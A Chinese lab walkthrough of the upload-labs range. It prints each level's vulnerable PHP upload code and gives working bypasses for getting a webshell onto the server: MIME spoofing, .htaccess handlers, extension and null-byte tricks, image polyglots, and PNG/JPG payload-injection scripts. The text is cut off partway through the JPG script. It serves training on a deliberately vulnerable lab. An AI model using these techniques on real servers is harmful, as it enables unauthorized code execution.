当前位置: 首页 > news >正文

uploadlabs通关思路

目录

靶场准备

复现

pass-01

代码审计

执行逻辑

文件上传

方法一:直接修改或删除js脚本

方法二:修改文件后缀

pass-02

代码审计

文件上传

1. 思路

2. 实操

pass-03

代码审计

过程:

文件上传

pass-04

代码审计

文件上传

pass-05

代码审计

pass-06

代码审计

文件上传

pass-07

代码审计

pass-08

代码审计

pass-09

代码审计

pass-10

代码审计

文件上传

pass-11

代码审计

文件上传

pass-12

代码审计

文件上传

pass-13

代码审计

文件上传

pass-14

代码审计

pass-15

代码审计

pass-16

代码审计

文件上传

gif

png

jpg

pass-17

代码审计

文件上传

1. 准备php文件

2. 上传

pass-18

代码审计

文件上传

1. 准备图片码

2. Burp抓包

3. 在文件夹里查看

pass-19

代码审计

文件上传

1. 大小写

2. 添加后缀

pass-20

代码审计

文件上传

1. 上传

2. 抓包改包

3. 验证


靶场准备

  1. 安装phpstudy

  2. 下载靶场:https://github.com/c0ny1/upload-labs

  3. 靶场解压至phpstudy下的www目录

  4. 打开phpstudy,启动apache,版本不要太高

  5. 运行靶场的phpstudy.exe文件,显示成功,就在浏览器访问靶场

复现

pass-01

代码审计

 function checkFile() {var file = document.getElementsByName('upload_file')[0].value;if (file == null || file == "") {alert("请选择要上传的文件!");return false;}//定义允许上传的文件类型var allow_ext = ".jpg|.png|.gif";//提取上传文件的类型var ext_name = file.substring(file.lastIndexOf("."));//判断上传文件类型是否允许上传if (allow_ext.indexOf(ext_name + "|") == -1) {var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;alert(errMsg);return false;}}
执行逻辑
  1. temp_file记录上传文件的临时名称

  2. img_path是为上传文件构造的新路径

  3. move_uploaded_file函数把文件移动到img_path

  4. 通过file.substring(file.lastIndexOf("."));获取文件的后缀

  5. 和白名单的3种文件类型对比,判断是否属于其中的3类。属于则可以直接上传,否则就上传失败

文件上传

方法一:直接修改或删除js脚本
  1. 打开BurpSuit,开启抓包

  2. 先上传一个符合要求的图片

  3. 选中包,右键,选择Do intercept --> Response to this request,之后放包

  4. 之后立马就可以抓到另一个包,打开就可以看到响应部分,如下图

  1. 之后,修改.jpg|.png|.gif的当中的任何一个为.php,然后保存放包

  2. 然后进到靶场,上传准备好的webshell,此时webshell是可以成功上传的,可以打开uploasd文件夹看一下

  1. 访问一下上传的文件试一下

  1. 蚂剑再验证一下

都没有问题

方法二:修改文件后缀
  1. 把编码好的webshell的后缀修改为符合条件的后缀

  2. 打开Burp抓包

  3. 在靶场上传

  4. 打开抓到的数据包,传给Repeter模块,然后把文件的后缀恢复,点击send就可以了

跟方法一差不多,这里就不做演示了,如果把方法一实践一遍,那是完全可以实现方法二的。

pass-02

代码审计

<?phpinclude '../config.php';include '../head.php';include '../menu.php';​$is_upload = false;$msg = null;if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];          if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '文件类型不正确,请重新上传!';}} else {$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';}}?>​<div id="upload_panel"><ol><li><h3>任务</h3><p>上传一个<code>webshell</code>到服务器。</p></li><li><h3>上传区</h3><form enctype="multipart/form-data" method="post" onsubmit="return checkFile()"><p>请选择要上传的图片:<p><input class="input_file" type="file" name="upload_file"/><input class="button" type="submit" name="submit" value="上传"/></form><div id="msg"><?php if($msg != null){echo "提示:".$msg;}?></div><div id="img"><?phpif($is_upload){echo '<img src="'.$img_path.'" width="250px" />';}?></div></li><?php if($_GET['action'] == "show_code"){include 'show_code.php';}?></ol></div>​<?phpinclude '../footer.php';?>

其他地方就不分析了,主要看这里enctype="multipart/form-data"

这个设置表明Content-Type这个键的值是multipart/form-data,而这个值的一大特点如下

  • 将请求体分成多个部分(parts),每个部分可以包含不同的数据(如表单字段、文件内容等)。

  • 每个部分都有自己的 Content-TypeContent-Disposition 头部,允许客户端指定文件的类型和名称。

然后某些服务器可能只检查请求头中的 Content-Type,而没有深入解析 multipart/form-data 的每个部分。

例如,服务器可能只检查请求头中的 Content-Type: multipart/form-data,而忽略每个部分的 Content-Type

利用这个逻辑漏洞,伪造文件类型

  • multipart/form-data 的某个部分中伪造 Content-Type,将 PHP 文件的 Content-Type 设置为 image/jpeg,从而绕过服务器的文件类型检查。

文件上传

1. 思路

直接在靶场上传一个php文件,然后使用Burp抓包,把数据包发到Repeter模块,然后修改Content-Type的类型为image/ipeg(代码审计得到的结果,自行审计),Send之后就可以访问文件或者使用蚁剑测试是否成功了

2. 实操
  1. 上传php文件

  2. 抓包并改包

  1. 蚁剑连接测试

连接成功。

pass-03

这一关弄了一个黑名单,黑名单里面的后缀文件不允许上传,其实跟前两关没啥区别。而且很简单。

代码审计

$is_upload = false;$msg = null;if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array('.asp','.aspx','.php','.jsp');$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //收尾去空​if(!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            if (move_uploaded_file($temp_file,$img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}}

过程:

  1. 先判断文件是否存在,若存在,则获取其文件名称

  2. 通过trim函数去除其文件名称多余的空白字符或者转义字符

  3. 然后通过其自定义的deldot函数删除其文件末尾的

  4. 再通过strrchr函数获取从文件名中最后一个.符号开始的后面所有字符串(若上传文件为xx.php即可以获取后缀.php)

  5. 然后通过strtolower函数将后缀名全部转换为小写,

  6. 然后通过str_ireplace函数将后缀名中如果存在的::$DATA符号删去。

  7. 然后使用trim函数对后缀进行去空格操作。

  8. 通过in_array函数对比其后缀是否属于 $deny_ext中的几项,若不属于,则继续上传

文件上传

这一关特别简单,方法很多,比如把.php改为.php3或者怎样的,只要不是黑名单中的其中一个就成了。

所以就可以这样做:

  1. 直接上传php文件

  2. 使用Burp抓包

  3. 发给Repeter模块,修改文件后缀为.php3

  1. 访问测试:

pass-04

代码审计

$is_upload = false;$msg = null;if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //收尾去空​if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}}

这一关跟上一关并无太大区别,无非就是黑名单多了一些,没关系,我们利用.htaccess文件就好。

.htaccess文件可以简单理解为一个提前预制的命令,在文件里面写好要运行哪个文件,以什么形式执行, 那么上传的那个文件就会按我们提前设置好的要求执行,即使是在下级目录也可以。

文件上传

首先是开启.htaccess功能。

找到phpstudy下的apache文件夹, 如

D:\Softwares\phpStudy\phpstudy_pro\Extensions\Apache2.4.39\conf

打开httpd.conf文件,把AllowOverride 设置为ALL

然后构造.htaccess文件,编写一下内容

 <FilesMatch "info.jpg">SetHandler application/x-httpd-php</FilesMatch> 

然后先上传./htaccess文件(.htaccess文件就叫这个名,不需要添加其他)

再上传修改了文件后缀为.jpgphp文件,然后访问

结果如上,成功上传

pass-05

代码审计

$is_upload = false;$msg = null;if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空​if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件类型不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}}

这里看着唬人,其实一个大小写就绕过了,把.php改为.PHP就成功上传了

没啥技术含量就不说了,下一关

pass-06

代码审计

$is_upload = false;$msg = null;if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");$file_name = $_FILES['upload_file']['name'];$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATAif (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file,$img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件不允许上传';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}}

这一关有点意思,主要是它把.htaccess过滤掉了,也就是说不能像pass-04那样处理了。但是却有更好的处理办法,这里就要引入windows下文件系统的一些特性了。在windows中,文件名属于以下一种情况是会自动去掉末尾

  1. 文件名最后是 .

  2. 文件名最后有空格

  3. 文件名最后有::$DATA

那么,利用这个特性,就可以绕过过滤了。

文件上传

首先打开Burp准备抓包

然后直接上传一个.php文件

Burp里把包发给Repeter模块,在模块里给文件添加以上说到的后缀,然后在upload文件夹里验证是否上传成功

抓包修改如下:

再来看一看upload文件夹

注意,这一关的代码里有去.和去::$DATA的函数,所以不能通过这两个绕过。

话虽这样说,但是我这样:$DATA,也就绕过了嘛

pass-07

代码审计

$is_upload = false;$msg = null;if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");$file_name = trim($_FILES['upload_file']['name']);$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件类型不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}}

对比上一关的源码就很清晰了,这一关就是要在文件末尾加.以绕过,因为连去掉.的函数都没有了嘛

这一关的

上一关的

这就很简单了,一样的步骤,不演示了,下一关

pass-08

代码审计

$is_upload = false;$msg = null;if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件类型不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}}

源码里有去掉.的,有去掉空格的,所以这一关就是要使用::$DATA绕过了,对比前两关的代码就可以看出来了

6、7、8三关就是利用windows文件系统的特性(而且还要求是黑名单)绕过的,很简单,在pass-06已经演示一种方法了,剩下的一样的步骤,就不演示了。但是注意了这些方法在Linux环境下大概率饶不了。

pass-09

代码审计

$is_upload = false;$msg = null;if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件类型不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}}

四个函数,deldot、strtolower、str_ireplace、trim,把大小写、Windows文件系统特性都过滤了,怎么办呢?

简单啊,它不是先删除.,然后转小写,然后删::$DATA,然后去空格吗,那加一层码喽。

这样构造

 mm.php.空格.这样会先删除 . ,文件就变成这样 mm.php.空格,注意这里还有空格的;然后什么转小写啥的就不管了,之后去空格嘛,这样文件就变成这样了 mm.php.;然后没有匹配黑名单啊,所以上传嘛,然后又是Windows文件系统特性,把最后的 . 去掉,然后就成功上传了嘛;
   如下图所示:

pass-10

代码审计

$is_upload = false;$msg = null;if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");​$file_name = trim($_FILES['upload_file']['name']);$file_name = str_ireplace($deny_ext,"", $file_name);$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;        if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}}

这个就更简单了,利用str_ireplace函数,把匹配黑名单的文件后缀置空嘛

那还是一样嘛。加一层码

 mm.phphpp

它又不调用两次str_ireplace函数,既然要过滤,那给它嘛,它把里面的php置空还有外层呢

文件上传

先构造好文件

 mm.phphpp

然后直接上传,再访问验证就好了

上传:

验证:

pass-11

这个题在实际应用中可能衍生一种竞争型的解法,但是需要多次尝试,这里给出思路。

这是一个以php文件上传的一个特性为基础的思路。在php中,上传的文件会先到达temp目录下,然后使用move函数移动到上传文件夹下,再把临时文件删除。在移动临时文件和删除临时文件这个间隙中间有一个很短很短的窗口期,那么假设它有一个读文件的函数,比如

 <? phpfile_get_contents($_GET['a'],'<?php'){include()}?>

它先读,如果匹配了php后缀,那就直接die,如果不匹配,就include

那么,如果先上传一个无关紧要的文件,在它读的过程中再上传我们的木马,让木马正好走到file_get_contents函数下,函数在读无关紧要文件时没有发现问题,就会include,此时就会把我们的木马一起include,这样就可以上传webshell

但是这个窗口期很短很短,所以可以预料的是即使成功了也是n次尝试的。

这个思路是解一个国际CTF比赛的思路,很值得思考借鉴。

代码审计

 $is_upload = false;$msg = null;if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);if(in_array($file_ext,$ext_arr)){$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;​if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = '上传出错!';}} else{$msg = "只允许上传.jpg|.png|.gif类型文件!";}}

虽然上面给出了一种竞争型的解法,但是实际上这一题不是竞争解法。这里它使用了白名单。

它会截取文件的后缀比对白名单,符合才会允许上传。那也许有人说了,改后缀不就好了吗,那不就可以上传了吗,是的,允许上传,但是解析不了,相当于真的把php变成jpg了,毕竟这不是前端绕过啊,前端绕过我们是上传php,然后Burp抓包修改的,本质还是上传.php。那怎么办呢?

其实这一题,用户可以控制上传文件最终落户的目录,我们可以抓一个包验证一下

既然这样,那我们就在这里动手脚,文件的拼接不是这样吗

$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

如果我在sava_path这里做一个截断,把后面的内容都不要了,比如这样

 ../upload/web.php%00%00 是 URL编码 的 \0 的十六进制,而 \0 是 C语言 的结束字符php底层也是C语言嘛

这样截断之后,move函数在移动的时候,本来是要移动到upload文件夹下,再重命名,但是现在没有重命名这一步了,而且也不是放在文件夹下,而是直接放在文件里,相当于move函数直接把我们上传的文件的内容直接放到web.php里面。这样就上传成功了。

来验证一下

文件上传

首先构造好jpg文件,

 <?php phpinfo();

然后修改后缀为jpg

打开Burp准备好抓包之后上传jpg文件

打开看一下文件内容

pass-12

代码审计

$is_upload = false;$msg = null;if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);if(in_array($file_ext,$ext_arr)){$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;​if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = "上传失败";}} else {$msg = "只允许上传.jpg|.png|.gif类型文件!";}}

这一关跟pass-11一样,就是save_path的接收方式变了,pass-11get型,这里变为了post型,我们抓一个包看一下变化就知道了

原本在1的位置,现在变到2的位置了,需要在3那里改。但是在这个位置改的话就不能使用%00,因为这里不属于地址栏,需要使用另一种方法。

文件上传

先这样构造:upload/web.php空格

然后点击HEX,找到对应位置,把20改为00

保存好,然后返回Pretty,点1,进行查看,就会发现有\0

然后Send就可以上传成功了

pass-13

代码审计

function getReailFileType($filename){$file = fopen($filename, "rb");$bin = fread($file, 2); //只读2字节fclose($file);$strInfo = @unpack("C2chars", $bin);    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    $fileType = '';    switch($typeCode){      case 255216:            $fileType = 'jpg';break;case 13780:            $fileType = 'png';break;        case 7173:            $fileType = 'gif';break;default:            $fileType = 'unknown';}    return $fileType;}​$is_upload = false;$msg = null;if(isset($_POST['submit'])){$temp_file = $_FILES['upload_file']['tmp_name'];$file_type = getReailFileType($temp_file);​if($file_type == 'unknown'){$msg = "文件未知,上传失败!";}else{$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = "上传出错!";}}}

审计代码,发现这一关会对图片内容进行检测。也就是说,把php后缀修改为jpg之类的已经不能上传了。但是呢它对内容的检测又不完善,所以一种思路就是把payload插入到图片中去。

文件上传

这在windows环境下就需要使用以下命令了

copy 文件A全称 /b + 文件B /a 新文件名

这样就能得到一个包含php payloadpng文件,然后还要验证,首先是查看图片是否可以打开,不过不行那就换图片再插入,一定要保证图片可以打开。确保图片可以打开之后,使用记事本打开,找一下插入的paylod在不在

也可以使用专业的工具010Editor查看。

这些保证没有问题之后就可以上传了,不过即使上传成功了,也不一定能执行,因为有可能图片有问题。这时候之只能换图片不断尝试了

pass-14

代码审计

function isImage($filename){$types = '.jpeg|.png|.gif';if(file_exists($filename)){$info = getimagesize($filename);$ext = image_type_to_extension($info[2]);if(stripos($types,$ext)>=0){return $ext;}else{return false;}}else{return false;}}​$is_upload = false;$msg = null;if(isset($_POST['submit'])){$temp_file = $_FILES['upload_file']['tmp_name'];$res = isImage($temp_file);if(!$res){$msg = "文件未知,上传失败!";}else{$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = "上传出错!";}}}

pass-13一样,就是加了一些判断图片后缀和大小的代码,对于这一关而言,没有什么太大的作用,按照pass-13的方法,多试几遍就能成功了

pass-15

代码审计

 function isImage($filename){//需要开启php_exif模块$image_type = exif_imagetype($filename);switch ($image_type) {case IMAGETYPE_GIF:return "gif";break;case IMAGETYPE_JPEG:return "jpg";break;case IMAGETYPE_PNG:return "png";break;    default:return false;break;}}​$is_upload = false;$msg = null;if(isset($_POST['submit'])){$temp_file = $_FILES['upload_file']['tmp_name'];$res = isImage($temp_file);if(!$res){$msg = "文件未知,上传失败!";}else{$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = "上传出错!";}}}

pass-13、pass-14一样的,把phppayload插入到图片中,然后检查没有问题之后就一直尝试,直到成功为止,思路是没有问题的,就是需要一直试,一遍不行就多来几遍。

pass-16

代码审计

 $is_upload = false;$msg = null;if (isset($_POST['submit'])){// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径$filename = $_FILES['upload_file']['name'];$filetype = $_FILES['upload_file']['type'];$tmpname = $_FILES['upload_file']['tmp_name'];​$target_path=UPLOAD_PATH.'/'.basename($filename);​// 获得上传文件的扩展名$fileext= substr(strrchr($filename,"."),1);​//判断文件后缀与类型,合法才进行上传操作if(($fileext == "jpg") && ($filetype=="image/jpeg")){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im = imagecreatefromjpeg($target_path);​if($im == false){$msg = "该文件不是jpg格式的图片!";@unlink($target_path);}else{//给新图片指定文件名srand(time());$newfilename = strval(rand()).".jpg";//显示二次渲染后的图片(使用用户上传图片生成的新图片)$img_path = UPLOAD_PATH.'/'.$newfilename;imagejpeg($im,$img_path);@unlink($target_path);$is_upload = true;}} else {$msg = "上传出错!";}​}else if(($fileext == "png") && ($filetype=="image/png")){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im = imagecreatefrompng($target_path);​if($im == false){$msg = "该文件不是png格式的图片!";@unlink($target_path);}else{//给新图片指定文件名srand(time());$newfilename = strval(rand()).".png";//显示二次渲染后的图片(使用用户上传图片生成的新图片)$img_path = UPLOAD_PATH.'/'.$newfilename;imagepng($im,$img_path);​@unlink($target_path);$is_upload = true;               }} else {$msg = "上传出错!";}​}else if(($fileext == "gif") && ($filetype=="image/gif")){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im = imagecreatefromgif($target_path);if($im == false){$msg = "该文件不是gif格式的图片!";@unlink($target_path);}else{//给新图片指定文件名srand(time());$newfilename = strval(rand()).".gif";//显示二次渲染后的图片(使用用户上传图片生成的新图片)$img_path = UPLOAD_PATH.'/'.$newfilename;imagegif($im,$img_path);​@unlink($target_path);$is_upload = true;}} else {$msg = "上传出错!";}}else{$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";}}

这一关的亮点在于使用imagecreatefromgif函数,把我们上传的图片打乱,然后生成新的图片,但是人肉眼看起来没有变化。

这样一来,我们插入的payload就有可能被打乱,导致webshell上传失败。这也是防御图片码的一种方法,但最好的方法是没有文件包含这个漏洞。

我们可以看一下是否属实嘛

原来的图片码:

上传后的图片码:

那怎么办呢?

想一下,有没有可能,这三种格式的图片会有一部分区域,这个区域在整个图片打乱前和打乱后是不变的,如果有,那我们把payload插入到这块区域就能利用文件包含漏洞把webshell上传成功。

文件上传

gif

先上传一张正常的图片,然后下载下来,打开以一些专业的16进制查看工具,比如010editor,找到那个前后都没有被打乱的地方,把payload插入那个位置,然后再上传插入好payload的图片,之后使用文件包含验证即可

这个思路没有问题,问题是运气成分太大,如果你运气好,刚好拿到的图片问题不大,那一下就好了,如果运气不好,那你可能试了十几张图片依然没结果,但是没办法,就是要一直试。

png

png图片插入payloadgif复杂一点,因为png图片是由固定数据块组成的,如果不能区分清楚的话很有可能导致上传是报错。

对与插入payload,由以下两种方法

一、在PLTE数据块插入

这种方法有些别扭,因为需要保证图片是索引颜色类型,也就是说如果文件使用真彩色或灰度,可能没有PLTE块。所以这里只提出来,就不演示了

二、使用脚本

脚本编码:

 <?php$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,0x66, 0x44, 0x50, 0x33);​​​$img = imagecreatetruecolor(32, 32);​for ($y = 0; $y < sizeof($p); $y += 3) {$r = $p[$y];$g = $p[$y+1];$b = $p[$y+2];$color = imagecolorallocate($img, $r, $g, $b);imagesetpixel($img, round($y / 3), 0, $color);}​imagepng($img,'./1.png');?>

这是php脚本,保存好之后,在浏览器运行,就能得到一插入好payloadpng图片

然后上传,再用蚁剑连接测试一下就好

jpg

jpg差不多,也是用脚本

脚本代码:

<?php/*​The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().It is necessary that the size and quality of the initial image are the same as those of the processed image.​1) Upload an arbitrary image via secured files upload script2) Save the processed image and launch:jpg_payload.php <jpg_name.jpg>​In case of successful injection you will get a specially crafted image, which should be uploaded again.​Since the most straightforward injection method is used, the following problems can occur:1) After the second processing the injected data may become partially corrupted.2) The jpg_payload.php script outputs "Something's wrong".If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.​Sergey Bobrov @Black2Fan.​See also:https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/​*/​$miniPayload = "<?=phpinfo();?>";​​if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {die('php-gd is not installed');}​if(!isset($argv[1])) {die('php jpg_payload.php <jpg_name.jpg>');}​set_error_handler("custom_error_handler");​for($pad = 0; $pad < 1024; $pad++) {$nullbytePayloadSize = $pad;$dis = new DataInputStream($argv[1]);$outStream = file_get_contents($argv[1]);$extraBytes = 0;$correctImage = TRUE;​if($dis->readShort() != 0xFFD8) {die('Incorrect SOI marker');}​while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {$marker = $dis->readByte();$size = $dis->readShort() - 2;$dis->skip($size);if($marker === 0xDA) {$startPos = $dis->seek();$outStreamTmp = substr($outStream, 0, $startPos) . $miniPayload . str_repeat("\0",$nullbytePayloadSize) . substr($outStream, $startPos);checkImage('_'.$argv[1], 